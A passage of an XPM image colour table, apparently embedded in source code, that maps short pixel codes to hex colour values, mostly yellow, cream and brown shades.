+"'> c #D4B984", +")> c #BDA382", +"!> c #B9A380", +"~> c #FAF67E", +"{> c #CEB478", +"]> c #985221", +"^> c #64310E", +"/> c #451921", +"(> c #FFE263", +"_> c #FCFF7C", +":> c #FAFE74", +"<> c #FAFE88", +"[> c #F9FD89", +"}> c #F8FC8B", +"|> c #F6FA8D", +"1> c #F4F78F", +"2> c #F2F591", +"3> c #F0F393", +"4> c #EFF194", +"5> c #EEF196", +"6> c #EEF198", +"7> c #F0F299", +"8> c #F1F39B", +"9> c #F1F49C", +"0> c #F2F59E", +"a> c #F3F59F", +"b> c #F3F5A1", +"c> c #F2F5A2", +"d> c #F3F6A4", +"e> c #F8FBA7", +"f> c #F7FAA6", +"g> c #FAFDA9", +"h> c #F9FCAA", +"i> c #F4F7AB", +"j> c #EFF2AC", +"k> c #E6EAAD", +"l> c #F8F5AE", +"m> c #F7F4AF", +"n> c #E4E7B0", +"o> c #EDF0B1", +"p> c #F2F5B2", +"q> c #FBFEB3", +"r> c #FBFFB3", +"s> c #FBFFB4", +"t> c #FAFEB5", +"u> c #F9FDB6", +"v> c #F6FAB6", +"w> c #F6F9B6", +"x> c #F8F8B6", +"y> c #F0F3B7", +"z> c #F0F3B4", +"A> c #FFFFC6", +"B> c #A6A87F", +"C> c #746F5B", +"D> c #A49582", +"E> c #FBE6C9", +"F> c #FFF2D4", +"G> c #ECDDC3", +"H> c #ECDDC5", +"I> c #ECDEC6", +"J> c #EDDEC5", +"K> c #ECDDC4", +"L> c #ECDBC2", +"M> c #EBDAC0", +"N> c #E8D6B9", +"O> c #E8D4B6", +"P> c #E6D2B0", +"Q> c #E5D0AE", +"R> c #E3CEAB", +"S> c #E2CBA7", +"T> c #DDC59E", +"U> c #ECCE9F", +"V> c #FCD7A1", +"W> c #877257", +"X> c #3D3C2F", +"Y> c #9D966F", +"Z> c #CABC94", +"`> c #F1E9A0", +" , c #FFFFA1", +"., c #DDD19E", +"+, c #CBBC9C", +"@, c #DDCE9B", +"#, c #E1CF99", +"$, c #E3CF98", +"%, c #DECC96", +"&, c #D2C194", +"*, c #B7A893", +"=, c #EFE791", +"-, c #FFFE8F", +";, c #F4EE8D", +">, c #CFC08C", +",, c #C7AF8A", +"', c #DCC088", +"), c #E4C486", +"!, c #E4C384", +"~, c #DBBC82", +"{, c #CEB380", +"], c #B0967F", +"^, c #D4C47C", +"/, c #FFFF81", +"(, c #E5D376", +"_, c #8F4C1F", +":, c #5E2D0D", +"<, c #431821", +"[, c #4D201E", +"}, c #FFE261", +"|, c #FCFF7A", +"1, c #F9FE73", +"2, c #FAFE75", +"3, c #FAFE84", +"4, c #F8FC86", +"5, c #F7FA88", +"6, c #F4F88A", +"7, c #F1F58B", +"8, c #EEF18D", +"9, c #ECEE8F", +"0, c #E6EA90", +"a, c #E3E792", +"b, c #E3E794", +"c, c #E3E795", +"d, c #E5E997", +"e, c #E9ED99", +"f, c #EBEE9A", +"g, c #ECEF9C", +"h, c #ECEE9D", +"i, c #EBEE9E", +"j, c #E8EC9F", +"k, c #F8FCAA", +"l, c #EEF5A1", +"m, c #FAFDAA", +"n, c #F7FBA7", +"o, c #F8FCA9", +"p, c #F3F6A9", +"q, c #EFF1AA", +"r, c #E5E9AB", +"s, c #F4F3AB", +"t, c #F9F5AC", +"u, c #E2E6AE", +"v, c #ECEEAE", +"w, c #F1F5AF", +"x, c #F7FAB0", +"y, c #FAFEB1", +"z, c #FBFFB1", +"A, c #FBFFB2", +"B, c #FAFEB3", +"C, c #F9FDB3", +"D, c #F7FCB3", +"E, c #F6FAB4", +"F, c #F4F8B4", +"G, c #F4F7B2", +"H, c #E6EBAE", +"I, c #807F61", +"J, c #857A6C", +"K, c #E5D4BD", +"L, c #FFF9DB", +"M, c #EEDFC8", +"N, c #EDDFC9", +"O, c #EFE1CB", +"P, c #EEE1CB", +"Q, c #EEE0CA", +"R, c #EDDFC7", +"S, c #ECDCC4", +"T, c #EADAC0", +"U, c #EDDBC0", +"V, c #FBE7C6", +"W, c #FFEDCA", +"X, c #FFEAC5", +"Y, c #FEE5BF", +"Z, c #FFE8C0", +"`, c #F0D8B4", +" ' c #E1CBA8", +".' c #DFC7A0", +"+' c #E0C599", +"@' c #FFDCA4", +"#' c #917A5D", +"$' c #3A392C", +"%' c #988F6D", +"&' c #C2B68C", +"*' c #FFFC9D", +"=' c #EEE79E", +"-' c #CEBF9B", +";' c #DCCB99", +">' c #E3CF97", +",' c #E7D196", +"'' c #E4CF94", +")' c #DAC693", +"!' c #BEAC91", +"~' c #D0C58F", +"{' c #FFFF8D", +"]' c #FBF58C", +"^' c #DED48A", +"/' c #BDA788", +"(' c #D7BD86", +"_' c #E3C384", +":' c #E7C582", +"<' c #E1BF81", +"[' c #D4B57E", +"}' c #BCA07D", +"|' c #C2AD7B", +"1' c #FFFF7F", +"2' c #FBEE74", +"3' c #97571F", +"4' c #5A280D", +"5' c #431820", +"6' c #4C201E", +"7' c #FFE260", +"8' c #FCFF78", +"9' c #F9FE71", +"0' c #F9FE81", +"a' c #F7FC82", +"b' c #F5F984", +"c' c #F2F686", +"d' c #EEF188", +"e' c #EAED8A", +"f' c #E1E68B", +"g' c #DEE18D", +"h' c #E7E88F", +"i' c #F0EF90", +"j' c #F6F392", +"k' c #F5F393", +"l' c #EAEA95", +"m' c #E0E397", +"n' c #DFE398", +"o' c #E1E49A", +"p' c #DFE39B", +"q' c #E0E39C", +"r' c #F6F8AB", +"s' c #BABC83", +"t' c #726D56", +"u' c #9B9D6D", +"v' c #EFF3A4", +"w' c #F3F5A6", +"x' c #F1F4A4", +"y' c #F3F6A7", +"z' c #EFF2A8", +"A' c #E5E9A8", +"B' c #EFEFA9", +"C' c #FFFAAA", +"D' c #E5E7AB", +"E' c #E7EBAC", +"F' c #EFF2AD", +"G' c #F5F9AD", +"H' c #F9FDAE", +"I' c #FBFFAF", +"J' c #FBFFB0", +"K' c #F9FDB1", +"L' c #F8FDB1", +"M' c #F7FCB1", +"N' c #F8FCB1", +"O' c #FFFFC9", +"P' c #C9CD92", +"Q' c #6C6852", +"R' c #B6A798", +"S' c #FFF8DE", +"T' c #F8EAD3", +"U' c #EDE0CC", +"V' c #F0E3D0", +"W' c #F0E3CF", +"X' c #EFE3CE", +"Y' c #EEE1CC", +"Z' c #EDDEC8", +"`' c #F0E0C7", +" ) c #FFF2D3", +".) c #FFF5D3", +"+) c #EDD7B9", +"@) c #BCA991", +"#) c #9D8D78", +"$) c #92846E", +"%) c #91836B", +"&) c #93826E", +"*) c #C1A98E", +"=) c #FFE6BB", +"-) c #F0D9B1", +";) c #DFC8A4", +">) c #DFC7A1", +",) c #DFC497", +"') c #FFDCA3", +")) c #7D6B51", +"!) c #3A392B", +"~) c #988C6F", +"{) c #CAC089", +"]) c #FFFF9A", +"^) c #E2D59A", +"/) c #D3C097", +"() c #E3CF95", +"_) c #E8D194", +":) c #E7D092", +"<) c #DFC991", +"[) c #CDBA8F", +"}) c #B9AA8D", +"|) c #FFFF8A", +"1) c #EAE188", +"2) c #C0AC86", +"3) c #D0B585", +"4) c #E0C083", +"5) c #E8C480", +"6) c #E4C17F", +"7) c #D9B87D", +"8) c #C3A27B", +"9) c #D1BD79", +"0) c #FFFF7D", +"a) c #FFF473", +"b) c #A06020", +"c) c #FFE25F", +"d) c #FCFF76", +"e) c #F9FE70", +"f) c #F9FE72", +"g) c #F9FE74", +"h) c #F9FE7D", +"i) c #F7FC7F", +"j) c #F5F981", +"k) c #F0F482", +"l) c #ECEF84", +"m) c #E3E786", +"n) c #DADF88", +"o) c #E6E789", +"p) c #F7F58B", +"q) c #FBF78D", +"r) c #F9F58E", +"s) c #F3F090", +"t) c #F4F192", +"u) c #FBF793", +"v) c #F9F695", +"w) c #E6E796", +"x) c #E3E598", +"y) c #F4F199", +"z) c #F6F59C", +"A) c #FBF997", +"B) c #968E6C", +"C) c #D6BCB4", +"D) c #918379", +"E) c #6D704D", +"F) c #C3C886", +"G) c #D6D892", +"H) c #ECEFA2", +"I) c #EFF3A7", +"J) c #E7EBA7", +"K) c #E5E8A7", +"L) c #FFFDA8", +"M) c #EFEEA9", +"N) c #DFE4A9", +"O) c #ECEFAA", +"P) c #F3F6AB", +"Q) c #F8FBAC", +"R) c #FAFEAC", +"S) c #FBFFAD", +"T) c #FAFEAE", +"U) c #FAFFAF", +"V) c #B8BC81", +"W) c #6A6253", +"X) c #DBCCBD", +"Y) c #FFFCE3", +"Z) c #EFE2CE", +"`) c #F0E4D2", +" ! c #F1E6D4", +".! c #F1E6D3", +"+! c #F0E4D0", +"@! c #EEE0CC", +"#! c #FCECD3", +"$! c #FFFDDE", +"%! c #F4E1C6", +"&! c #B0A08C", +"*! c #7D7261", +"=! c #68614C", +"-! c #4E4A36", +";! c #504E37", +">! c #666547", +",! c #797755", +"'! c #7A7759", +")! c #757451", +"!! c #787353", +"~! c #7B6D5B", +"{! c #D4BB9A", +"]! c #FCE2B8", +"^! c #DEC8A3", +"/! c #E5C899", +"(! c #EFCC96", +"_! c #514736", +":! c #4E4B39", +"~ c #E2D3BB", +",~ c #8F8474", +"'~ c #585343", +")~ c #45442E", +"!~ c #4E4F32", +"~~ c #818055", +"{~ c #B2AE78", +"]~ c #CEC78B", +"^~ c #D7D195", +"/~ c #DED69A", +"(~ c #E0D6A2", +"_~ c #FEF8AB", +":~ c #EFEBA1", +"<~ c #938F70", +"[~ c #615A48", +"}~ c #C5AD8E", +"|~ c #F9DFB6", +"1~ c #E0C8A3", +"2~ c #DDC49B", +"3~ c #FAD8A1", +"4~ c #B49972", +"5~ c #353226", +"6~ c #776E54", +"7~ c #AA9E77", +"8~ c #FEF991", +"9~ c #E8DB95", +"0~ c #D6C191", +"a~ c #E4CE90", +"b~ c #E7CF8E", +"c~ c #E2CA8C", +"d~ c #D6C08B", +"e~ c #BBA78A", +"f~ c #CEC188", +"g~ c #FFFF86", +"h~ c #FEF984", +"i~ c #CCBC83", +"j~ c #BFA581", +"k~ c #DABB7F", +"l~ c #E4C17D", +"m~ c #E6C07B", +"n~ c #E0BB7A", +"o~ c #D6B378", +"p~ c #D5B776", +"q~ c #D8C17A", +"r~ c #DDBE71", +"s~ c #B96D24", +"t~ c #683110", +"u~ c #441922", +"v~ c #A34700", +"w~ c #FFE25D", +"x~ c #FCFF73", +"y~ c #F9FE6C", +"z~ c #F9FE76", +"A~ c #F8FD77", +"B~ c #F5FA7A", +"C~ c #F0F47B", +"D~ c #EAED7D", +"E~ c #DEE27F", +"F~ c #D3D781", +"G~ c #F8F582", +"H~ c #FFF984", +"I~ c #D9DB86", +"J~ c #D1D687", +"K~ c #D9DD89", +"L~ c #DDE08B", +"M~ c #DEE18C", +"N~ c #DCDF8F", +"O~ c #D9DD91", +"P~ c #E5E692", +"Q~ c #E6E894", +"R~ c #DCE095", +"S~ c #F5FAA6", +"T~ c #909565", +"U~ c #988B7D", +"V~ c #FFF2D2", +"W~ c #F2E2C5", +"X~ c #FFF1D7", +"Y~ c #554F46", +"Z~ c #4B5030", +"`~ c #ADB078", +" { c #D8DA97", +".{ c #E7E9A4", +"+{ c #DADEA3", +"@{ c #E1E1A4", +"#{ c #FFFEA4", +"${ c #E1E1A5", +"%{ c #DBDFA6", +"&{ c #EAEDA7", +"*{ c #F1F5A7", +"={ c #F7FBA8", +"-{ c #FAFEA8", +";{ c #FAFFA9", +">{ c #F9FFA7", +",{ c #C2C882", +"'{ c #6C6458", +"){ c #F3E5D5", +"!{ c #FFF6DF", +"~{ c #EFE4D2", +"{{ c #F2E8D8", +"]{ c #F2E9D9", +"^{ c #F2E8D7", +"/{ c #EFE2D0", +"({ c #FFFEE6", +"_{ c #FCEED6", +":{ c #8E8575", +"<{ c #413F31", +"[{ c #383924", +"}{ c #6A6A45", +"|{ c #AAA772", +"1{ c #C9C387", +"2{ c #D9D391", +"3{ c #EAE29D", +"4{ c #F2E9A3", +"5{ c #F3EAA6", +"6{ c #F2E8A6", +"7{ c #EAE0A5", +"8{ c #F3ECA4", +"9{ c #F4EDA3", +"0{ c #FBF0B7", +"a{ c #C4BF8D", +"b{ c #736A54", +"c{ c #E4CAA6", +"d{ c #E8D0AA", +"e{ c #E2CAA4", +"f{ c #DDC396", +"g{ c #F4D199", +"h{ c #60553F", +"i{ c #44422F", +"j{ c #887B62", +"k{ c #DFD885", +"l{ c #F8EF93", +"m{ c #D4BF90", +"n{ c #E1CB8E", +"o{ c #E5CC8C", +"p{ c #E1C98B", +"q{ c #D6C089", +"r{ c #BDA888", +"s{ c #C8BB86", +"t{ c #FFFC84", +"u{ c #FBF583", +"v{ c #D4C681", +"w{ c #BBA27F", +"x{ c #D6B87E", +"y{ c #E2BF7B", +"z{ c #E6BF7A", +"A{ c #E1BB78", +"B{ c #DBB776", +"C{ c #D1AB74", +"D{ c #CBA778", +"E{ c #D0A16F", +"F{ c #C27026", +"G{ c #6F3711", +"H{ c #461923", +"I{ c #602D19", +"J{ c #CC671D", +"K{ c #FFE25C", +"L{ c #FBFF71", +"M{ c #F9FE6B", +"N{ c #F9FE6D", +"O{ c #F9FE6F", +"P{ c #F6FC76", +"Q{ c #F1F677", +"R{ c #EAEE7A", +"S{ c #E1E47B", +"T{ c #CCD27D", +"U{ c #EFEC7E", +"V{ c #FFFD81", +"W{ c #CFD182", +"X{ c #CBCF83", +"Y{ c #D7DA86", +"Z{ c #DADD87", +"`{ c #DCDE89", +" ] c #DCDF8A", +".] c #DDDF8C", +"+] c #DDE08D", +"@] c #DEE18F", +"#] c #DDE190", +"$] c #E0E392", +"%] c #E5E893", +"&] c #FFFFA3", +"*] c #989C63", +"=] c #A09385", +"-] c #FFEFD0", +";] c #E7D7BB", +">] c #FFF7D9", +",] c #C9B7A5", +"'] c #343526", +")] c #7B7E55", +"!] c #B3B57F", +"~] c #DADC9C", +"{] c #DADDA3", +"]] c #C5C9A1", +"^] c #F1EDA2", +"/] c #F9F7A3", +"(] c #D5D9A3", +"_] c #E3E6A4", +":] c #ECF0A5", +"<] c #F3F7A5", +"[] c #F6FAA6", +"}] c #F8FCA6", +"|] c #F5FBA4", +"1] c #FFFFBB", +"2] c #D4D98D", +"3] c #726D58", +"4] c #E8DBCF", +"5] c #FFF7DF", +"6] c #FFFFEA", +"7] c #DED3BD", +"8] c #4F4B3E", +"9] c #272917", +"0] c #686845", +"a] c #A29F6F", +"b] c #C5C185", +"c] c #E0DB97", +"d] c #F2ECA1", +"e] c #FAF1A6", +"f] c #FCF3A6", +"g] c #F9F0A5", +"h] c #F4EBA4", +"i] c #EFE6A2", +"j] c #E7DDA1", +"k] c #F1E8A0", +"l] c #F0E99F", +"m] c #D8CD9C", +"n] c #FFF7B6", +"o] c #9D976F", +"p] c #95846D", +"q] c #FBE1B9", +"r] c #E3CCA8", +"s] c #DFC79E", +"t] c #FCD9A1", +"u] c #907C5C", +"v] c #333123", +"w] c #756952", +"x] c #BEB676", +"y] c #FDF78E", +"z] c #DBC88F", +"A] c #DCC58C", +"B] c #E2CA8A", +"C] c #DFC789", +"D] c #D6BF87", +"E] c #BBA785", +"F] c #C6B984", +"G] c #FFFB83", +"H] c #FEF880", +"I] c #DBCE7F", +"J] c #B79E7D", +"K] c #D3B67B", +"L] c #DFBC7A", +"M] c #E3BD78", +"N] c #E0BA76", +"O] c #DAB374", +"P] c #D4AC72", +"Q] c #D5B176", +"R] c #DCAF6E", +"S] c #CA7527", +"T] c #713812", +"U] c #471923", +"V] c #FFE25B", +"W] c #FBFF6F", +"X] c #F9FE69", +"Y] c #F8FE72", +"Z] c #F4FA74", +"`] c #ECF176", +" ^ c #E3E778", +".^ c #CED479", +"+^ c #DCDB7B", +"@^ c #DAD97F", +"#^ c #BFC480", +"$^ c #D0D282", +"%^ c #D3D684", +"&^ c #D3D685", +"*^ c #D2D786", +"=^ c #D2D788", +"-^ c #D5D98A", +";^ c #D7DB8B", +">^ c #DBDF8C", +",^ c #E0E38E", +"'^ c #E4E78F", +")^ c #E7EB90", +"!^ c #95985F", +"~^ c #A49689", +"{^ c #FFF0D1", +"]^ c #EBDCC2", +"^^ c #EDDCC2", +"/^ c #FFFDE1", +"(^ c #6A6457", +"_^ c #363A23", +":^ c #91936A", +"<^ c #BABD8E", +"[^ c #CCCFA0", +"}^ c #DBDCA0", +"|^ c #F7F6A0", +"1^ c #FFFFA0", +"2^ c #E9E9A1", +"3^ c #D3D8A2", +"4^ c #E4E8A2", +"5^ c #EDF0A3", +"6^ c #F0F4A3", +"7^ c #EFF4A2", +"8^ c #FFFFB1", +"9^ c #E4E999", +"0^ c #6D6C50", +"a^ c #D6C9C2", +"b^ c #FFFBE3", +"c^ c #EEE2D0", +"d^ c #F2E8D6", +"e^ c #F2E7D7", +"f^ c #EFE1D0", +"g^ c #FFFFE8", +"h^ c #DAD0BB", +"i^ c #302D23", +"j^ c #404224", +"k^ c #84825B", +"l^ c #A6A475", +"m^ c #D4D090", +"n^ c #F1EBA1", +"o^ c #FBF4A6", +"p^ c #FCF4A5", +"q^ c #F9F2A4", +"r^ c #F8EFA2", +"s^ c #F5ECA1", +"t^ c #F1E7A0", +"u^ c #EDE39F", +"v^ c #E5DA9E", +"w^ c #F1E99D", +"x^ c #F1EA9C", +"y^ c #DACF9B", +"z^ c #ECE0A5", +"A^ c #B4AE7B", +"B^ c #867B60", +"C^ c #F9DFB9", +"D^ c #E4CEAB", +"E^ c #E3CAA4", +"F^ c #F3D3A0", +"G^ c #B69C72", +"H^ c #3F3A29", +"I^ c #675D45", +"J^ c #A59A6A", +"K^ c #F8F489", +"L^ c #E2D18D", +"M^ c #D7BF8A", +"N^ c #DFC788", +"O^ c #DCC487", +"P^ c #D3BC85", +"Q^ c #B8A384", +"R^ c #CCC082", +"S^ c #FFFE81", +"T^ c #FFFC7F", +"U^ c #CCBD7D", +"V^ c #B69D7B", +"W^ c #D2B37A", +"X^ c #DDBA78", +"Y^ c #DFBA76", +"Z^ c #D6AE74", +"`^ c #D7B073", +" / c #DDBC71", +"./ c #D7B573", +"+/ c #D9A66D", +"@/ c #CD7628", +"#/ c #733812", +"$/ c #4E201E", +"%/ c #FFE25A", +"&/ c #FBFF6D", +"*/ c #F8FE67", +"=/ c #F9FF6E", +"-/ c #F8FD70", +";/ c #F1F672", +">/ c #E6EB74", +",/ c #D8DD76", +"'/ c #C8CC77", +")/ c #FEF979", +"!/ c #F7F27B", +"~/ c #B8BC7C", +"{/ c #C3C67E", +"]/ c #C4C880", +"^/ c #C9CD82", +"// c #D8DA83", +"(/ c #E3E484", +"_/ c #ECEA86", +":/ c #EBE988", +"( c #FFE258", +",( c #FBFF6B", +"'( c #F8FE66", +")( c #F8FE68", +"!( c #FAFF6D", +"~( c #F6FC6F", +"{( c #EDF271", +"]( c #E1E572", +"^( c #C9CE74", +"/( c #D4D376", +"(( c #FFFF77", +"_( c #D6D479", +":( c #AAAF7B", +"<( c #B2B67C", +"[( c #C6C87E", +"}( c #F1EF80", +"|( c #FFFC83", +"1( c #FCF584", +"2( c #F6F186", +"3( c #F8F487", +"4( c #D9DD8B", +"5( c #E2E78C", +"6( c #A5A369", +"7( c #CDBBAE", +"8( c #F9EBD4", +"9( c #F0E4D1", +"0( c #F0E5D2", +"a( c #F6E7D2", +"b( c #FFF3DA", +"c( c #555148", +"d( c #3E412C", +"e( c #AEAA67", +"f( c #FBF38C", +"g( c #EDEC9C", +"h( c #CFD09C", +"i( c #C4C89C", +"j( c #D6D99C", +"k( c #F9F69D", +"l( c #F7F49E", +"m( c #DEE19E", +"n( c #DADF9E", +"o( c #898E59", +"p( c #9D908D", +"q( c #FFFFEE", +"r( c #EDDFCA", +"s( c #FFF2DC", +"t( c #FFFFED", +"u( c #F6ECD6", +"v( c #51493F", +"w( c #32341C", +"x( c #767653", +"y( c #A3A16D", +"z( c #DCD891", +"A( c #EBE7A1", +"B( c #F2EDA2", +"C( c #F3ED9F", +"D( c #F5EE9E", +"E( c #F7EF9E", +"F( c #F7EE9D", +"G( c #F6ED9C", +"H( c #F3E99C", +"I( c #EFE49B", +"J( c #EBE09A", +"K( c #E3D79A", +"L( c #F4EC99", +"M( c #EBE298", +"N( c #D8CC96", +"O( c #FDEFAA", +"P( c #9D9569", +"Q( c #978870", +"R( c #FEE6BF", +"S( c #E5D1B0", +"T( c #E4CEAA", +"U( c #F3D6A5", +"V( c #B79E75", +"W( c #423C29", +"X( c #645C3E", +"Y( c #8E7F60", +"Z( c #EAE282", +"`( c #F5E98A", +" _ c #D0B886", +"._ c #D8C084", +"+_ c #D3BC83", +"@_ c #CAB481", +"#_ c #AC9980", +"$_ c #E3D97E", +"%_ c #F6EE7B", +"&_ c #B6A279", +"*_ c #BDA478", +"=_ c #CFB176", +"-_ c #CFA874", +";_ c #E3C773", +">_ c #F6EA71", +",_ c #D5B66F", +"'_ c #CEA86D", +")_ c #D4B470", +"!_ c #F7DF69", +"~_ c #D18127", +"{_ c #703412", +"]_ c #612D19", +"^_ c #CC671E", +"/_ c #FFE257", +"(_ c #FBFF6A", +"__ c #F8FE64", +":_ c #F8FE6A", +"<_ c #F9FF6B", +"[_ c #F5FB6C", +"}_ c #EAEE6E", +"|_ c #DBE070", +"1_ c #C1C672", +"2_ c #E7E373", +"3_ c #FFFF75", +"4_ c #B3B677", +"5_ c #A1A679", +"6_ c #D6D57A", +"7_ c #FFFD7C", +"8_ c #FCF97E", +"9_ c #E8E77F", +"0_ c #DBDC81", +"a_ c #D3D682", +"b_ c #D2D684", +"c_ c #D5D985", +"d_ c #E6E786", +"e_ c #F8F589", +"f_ c #DEE18B", +"g_ c #E4ED86", +"h_ c #A4A170", +"i_ c #DECCC1", +"j_ c #F5E9D5", +"k_ c #F0E5D4", +"l_ c #A09689", +"m_ c #3D3D1C", +"n_ c #A09B56", +"o_ c #BEBD7C", +"p_ c #C4C897", +"q_ c #D0D39B", +"r_ c #D9DB9A", +"s_ c #D4D89A", +"t_ c #CCD29B", +"u_ c #F0EF9B", +"v_ c #FFFC99", +"w_ c #FFFFB0", +"x_ c #B2B572", +"y_ c #7F7671", +"z_ c #FFF8E9", +"A_ c #F8ECD6", +"B_ c #E1D3C3", +"C_ c #AEA495", +"D_ c #AEA498", +"E_ c #BBB2A8", +"F_ c #AEA89C", +"G_ c #5B5547", +"H_ c #404225", +"I_ c #7E7D54", +"J_ c #9A996A", +"K_ c #D1CE8B", +"L_ c #F4EF9D", +"M_ c #EDE89F", +"N_ c #EEE99D", +"O_ c #F4ED9C", +"P_ c #F7EE9B", +"Q_ c #F5EB9A", +"R_ c #F2E799", +"S_ c #EEE399", +"T_ c #E8DD98", +"U_ c #E7DC97", +"V_ c #F5ED96", +"W_ c #E0D695", +"X_ c #E0D497", +"Y_ c #E3D794", +"Z_ c #867C5C", +"`_ c #D6BFA0", +" : c #EDD8B7", +".: c #E7D3B2", +"+: c #E5CFAB", +"@: c #F8DBA8", +"#: c #AE966F", +"$: c #3B3624", +"%: c #685E3F", +"&: c #908160", +"*: c #EBE380", +"=: c #F4E887", +"-: c #CDB584", +";: c #D3BC82", +">: c #CCB681", +",: c #BCA87F", +"': c #B3A27D", +"): c #F7F07C", +"!: c #FFFF7B", +"~: c #E4DA79", +"{: c #AB9477", +"]: c #C4A976", +"^: c #CEAE74", +"/: c #D3AF73", +"(: c #F4E670", +"_: c #D6BA6F", +":: c #C0986D", +"<: c #C49D6B", +"[: c #D8BD6E", +"}: c #F6DD68", +"|: c #C77426", +"1: c #6F3513", +"2: c #FFE256", +"3: c #FBFF67", +"4: c #F8FE62", +"5: c #F8FF69", +"6: c #F3F96B", +"7: c #E7EC6D", +"8: c #D6DB6F", +"9: c #C1C570", +"0: c #FAF372", +"a: c #F5EC74", +"b: c #A2A575", +"c: c #E4E177", +"d: c #FFFF78", +"e: c #E4E37A", +"f: c #CBCE7B", +"g: c #CDD27D", +"h: c #D5D97E", +"i: c #DCE07F", +"j: c #DEE281", +"k: c #DBDF82", +"l: c #D2D784", +"m: c #FDF887", +"n: c #FBF98C", +"o: c #BFC772", +"p: c #8F896C", +"q: c #F6E4D4", +"r: c #F3E8D6", +"s: c #F4EADB", +"t: c #F4EBDC", +"u: c #F3E9D9", +"v: c #FFFAE5", +"w: c #CDC1B1", +"x: c #4A4729", +"y: c #717043", +"z: c #8C8F6C", +"A: c #C9CC90", +"B: c #DEE199", +"C: c #DCE097", +"D: c #D6DB98", +"E: c #DFE098", +"F: c #EBE997", +"G: c #F7F6A6", +"H: c #D1D485", +"I: c #7B755A", +"J: c #E9E1DB", +"K: c #FFFDE7", +"L: c #FFFFF1", +"M: c #A7A195", +"N: c #3C3C2D", +"O: c #363720", +"P: c #545333", +"Q: c #5E5F45", +"R: c #636341", +"S: c #868754", +"T: c #A9A770", +"U: c #B1B075", +"V: c #EAE59A", +"W: c #F8F39D", +"X: c #EBE59B", +"Y: c #EDE79B", +"Z: c #F1EA9A", +"`: c #F4EC9A", +" < c #F7ED99", +".< c #F7EC98", +"+< c #F4E998", +"@< c #F0E597", +"#< c #ECE196", +"$< c #E3D695", +"%< c #EEE494", +"&< c #F4ED94", +"*< c #D7CA91", +"=< c #FFF0A7", +"-< c #928A5D", +";< c #8B7B67", +">< c #FFECC5", +",< c #E6D3B4", +"'< c #E8D4B5", +")< c #FFE0AC", +"!< c #8A7859", +"~< c #302D1D", +"{< c #6E6342", +"]< c #968562", +"^< c #EFE780", +"/< c #F7EC85", +"(< c #C9B282", +"_< c #CCB680", +":< c #C5B17E", +"<< c #A8947D", +"[< c #CBBE7C", +"}< c #FFFF7A", +"|< c #FFFF79", +"1< c #C7B877", +"2< c #AF9575", +"3< c #CAAC74", +"4< c #CEAA72", +"5< c #E0C371", +"6< c #F3E56F", +"7< c #C19B6D", +"8< c #C3A06B", +"9< c #C09B69", +"0< c #DAC36C", +"a< c #DEB765", +"b< c #BB6625", +"c< c #6F3712", +"d< c #FFE254", +"e< c #FAFF65", +"f< c #F8FE60", +"g< c #F9FE65", +"h< c #F8FF67", +"i< c #F2F969", +"j< c #E5EB6B", +"k< c #D4DA6D", +"l< c #C4C86E", +"m< c #F9F170", +"n< c #F3EE72", +"o< c #EFEB73", +"p< c #FDF775", +"q< c #C8CB76", +"r< c #C2C778", +"s< c #D7DC79", +"t< c #E0E47B", +"u< c #E4E87C", +"v< c #E6EA7D", +"w< c #E6EB7F", +"x< c #E4E980", +"y< c #E1E582", +"z< c #D5DB83", +"A< c #D7DA84", +"B< c #FFFF90", +"C< c #B8B85E", +"D< c #827C6E", +"E< c #F4EBDD", +"F< c #F5ECDE", +"G< c #F4EADC", +"H< c #FFF6E1", +"I< c #D9CCBB", +"J< c #424030", +"K< c #4B4D37", +"L< c #858862", +"M< c #C8CB89", +"N< c #E0E496", +"O< c #D9DE95", +"P< c #E3E595", +"Q< c #F6F295", +"R< c #DBDE99", +"S< c #DCE49D", +"T< c #6B6D4D", +"U< c #BDB2B0", +"V< c #FFFFF5", +"W< c #90897E", +"X< c #282915", +"Y< c #545635", +"Z< c #85865F", +"`< c #BEBC79", +" [ c #DBD98A", +".[ c #DEDD94", +"+[ c #DEDB90", +"@[ c #DAD78D", +"#[ c #E2DF91", +"$[ c #FBF7A4", +"%[ c #FFFFA6", +"&[ c #F6F19B", +"*[ c #FFFAA1", +"=[ c #FEF49C", +"-[ c #F7ED97", +";[ c #F3E896", +">[ c #EEE295", +",[ c #E9DE94", +"'[ c #E0D493", +")[ c #F4EC93", +"![ c #E7DE90", +"~[ c #F3E4A0", +"{[ c #C2B87A", +"][ c #6D624C", +"^[ c #EED6B3", +"/[ c #EEDBBB", +"([ c #E9D7B9", +"_[ c #E5CEAA", +":[ c #F9D9A5", +"<[ c #6B5E45", +"[[ c #35321F", +"}[ c #726645", +"|[ c #9C8A66", +"1[ c #F4EB80", +"2[ c #F7EC83", +"3[ c #C1AB80", +"4[ c #C3B07E", +"5[ c #B5A27C", +"6[ c #A7967B", +"7[ c #F2EB7A", +"8[ c #F6EE77", +"9[ c #B49F75", +"0[ c #BEA273", +"a[ c #D0AF72", +"b[ c #D5B070", +"c[ c #D2AB6F", +"d[ c #F9EC6D", +"e[ c #E0CB6B", +"f[ c #B2896A", +"g[ c #B89467", +"h[ c #B48D6A", +"i[ c #BE8B64", +"j[ c #BD6E24", +"k[ c #6C3612", +"l[ c #451922", +"m[ c #FFE253", +"n[ c #FAFF64", +"o[ c #F7FE5F", +"p[ c #F8FE61", +"q[ c #F9FE64", +"r[ c #F8FF65", +"s[ c #F2F967", +"t[ c #E7EC69", +"u[ c #D6DC6A", +"v[ c #CACE6C", +"w[ c #F5EE6E", +"x[ c #FFFF70", +"y[ c #F5F171", +"z[ c #BBBF73", +"A[ c #C1C674", +"B[ c #DADE76", +"C[ c #E4E977", +"D[ c #E9EE79", +"E[ c #ECF27A", +"F[ c #EFF47C", +"G[ c #EEF37D", +"H[ c #ECF07F", +"I[ c #E5EA7F", +"J[ c #DFE381", +"K[ c #CED482", +"L[ c #FFFE90", +"M[ c #C2BC59", +"N[ c #9F9487", +"O[ c #FFFEE9", +"P[ c #F3EADB", +"Q[ c #F5ECDF", +"R[ c #F5EDE0", +"S[ c #F5ECDD", +"T[ c #FFFBE6", +"U[ c #D4C8B5", +"V[ c #32312A", +"W[ c #494B38", +"X[ c #86885E", +"Y[ c #C6CA85", +"Z[ c #DDE293", +"`[ c #E0E493", +" } c #F7F393", +".} c #D4D791", +"+} c #F0F6A7", +"@} c #9A9B57", +"#} c #9B9089", +"$} c #FFFFF8", +"%} c #FFFFF6", +"&} c #9B9488", +"*} c #2B2E14", +"=} c #656743", +"-} c #82825C", +";} c #A9AA7B", +">} c #DFDD92", +",} c #F7F399", +"'} c #E7E69A", +")} c #EEEB98", +"!} c #F5F39D", +"~} c #FFFFA8", 